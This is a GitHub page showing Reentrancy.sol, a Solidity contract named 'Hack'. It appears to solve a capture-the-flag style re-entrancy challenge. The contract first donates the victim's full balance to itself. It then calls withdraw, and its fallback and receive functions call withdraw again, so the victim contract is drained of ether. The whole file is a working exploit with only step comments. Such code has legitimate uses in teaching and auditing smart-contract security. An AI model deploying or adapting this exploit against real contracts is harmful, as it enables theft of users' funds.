-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathReentrancy.sol
54 lines (37 loc) · 1.16 KB
/
Reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint256 balance);
function withdraw(uint256 _amount) external;
}
contract Hack {
address victim;
uint256 balance;
IReentrance victimContract;
constructor(address _victim){
victim = _victim;
victimContract = IReentrance(_victim);
}
function donate() public payable {
//0. get the balance
balance = victim.balance;
//1. donate the balance
victimContract.donate{value:balance}(address(this));
}
function getBalance() public view returns (uint256){
return victimContract.balanceOf(address(this));
}
function attack() public payable {
//2. call withdraw
victimContract.withdraw(balance);
}
fallback() external payable {
//3. call withdraw again (reenter)
IReentrance(victim).withdraw(balance);
}
receive() external payable {
//3. call withdraw again (reenter)
IReentrance(victim).withdraw(balance);
}
}